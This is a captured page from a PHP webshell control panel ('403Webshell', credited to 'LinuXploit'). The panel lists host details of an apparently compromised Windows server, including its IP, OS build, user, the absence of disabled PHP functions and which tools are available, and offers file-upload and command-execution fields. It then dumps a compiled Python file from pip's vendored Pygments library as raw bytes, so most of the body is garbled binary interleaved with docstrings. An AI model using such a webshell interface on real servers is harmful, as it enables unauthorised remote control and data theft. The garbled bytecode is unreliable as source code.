403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/pygments/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/pygments/__pycache__/formatter.cpython-39.pyc
a

X��eR�@sDdZddlZddlmZddlmZdgZdd�ZGdd�d�ZdS)	z�
    pygments.formatter
    ~~~~~~~~~~~~~~~~~~

    Base formatter class.

    :copyright: Copyright 2006-2023 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�get_bool_opt)�get_style_by_name�	FormattercCst|t�rt|�S|S)N)�
isinstance�strr)�style�r�B/usr/lib/python3.9/site-packages/pip/_vendor/pygments/formatter.py�
_lookup_styles
r
c@s:eZdZdZdZgZgZdZdd�Zddd�Z	d	d
�Z
dS)ra
    Converts a token stream to text.

    Formatters should have attributes to help selecting them. These
    are similar to the corresponding :class:`~pygments.lexer.Lexer`
    attributes.

    .. autoattribute:: name
       :no-value:

    .. autoattribute:: aliases
       :no-value:

    .. autoattribute:: filenames
       :no-value:

    You can pass options as keyword arguments to the constructor.
    All formatters accept these basic options:

    ``style``
        The style to use, can be a string or a Style subclass
        (default: "default"). Not used by e.g. the
        TerminalFormatter.
    ``full``
        Tells the formatter to output a "full" document, i.e.
        a complete self-contained document. This doesn't have
        any effect for some formatters (default: false).
    ``title``
        If ``full`` is true, the title that should be used to
        caption the document (default: '').
    ``encoding``
        If given, must be an encoding name. This will be used to
        convert the Unicode token strings to byte strings in the
        output. If it is "" or None, Unicode strings will be written
        to the output file, which most file-like objects do not
        support (default: None).
    ``outencoding``
        Overrides ``encoding`` if given.

    NTcKslt|�dd��|_t|dd�|_|�dd�|_|�dd�p<d|_|jd	vrPd
|_|�d�p^|j|_||_dS)z�
        As with lexers, this constructor takes arbitrary optional arguments,
        and if you override it, you should first process your own options, then
        call the base class implementation.
        r�default�fullF�title��encodingN)ZguessZchardetzutf-8Zoutencoding)r
�getrrrr
r�options)�selfrrrr	�__init__Ss
zFormatter.__init__rcCsdS)a
        This method must return statements or declarations suitable to define
        the current style for subsequent highlighted text (e.g. CSS classes
        in the `HTMLFormatter`).

        The optional argument `arg` can be used to modify the generation and
        is formatter dependent (it is standardized because it can be given on
        the command line).

        This method is called by the ``-S`` :doc:`command-line option <cmdline>`,
        the `arg` is then given by the ``-a`` option.
        rr)r�argrrr	�get_style_defscs
zFormatter.get_style_defscCs&|jrt�|j�d|�}|�||�S)z�
        This method must format the tokens from the `tokensource` iterable and
        write the formatted version to the file object `outfile`.

        Formatter options can control how exactly the tokens are converted.
        �)r�codecs�lookupZformat_unencoded)rZtokensourceZoutfilerrr	�formatrszFormatter.format)r)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenamesZ
unicodeoutputrrrrrrr	rs*
)	rrZpip._vendor.pygments.utilrZpip._vendor.pygments.stylesr�__all__r
rrrrr	�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit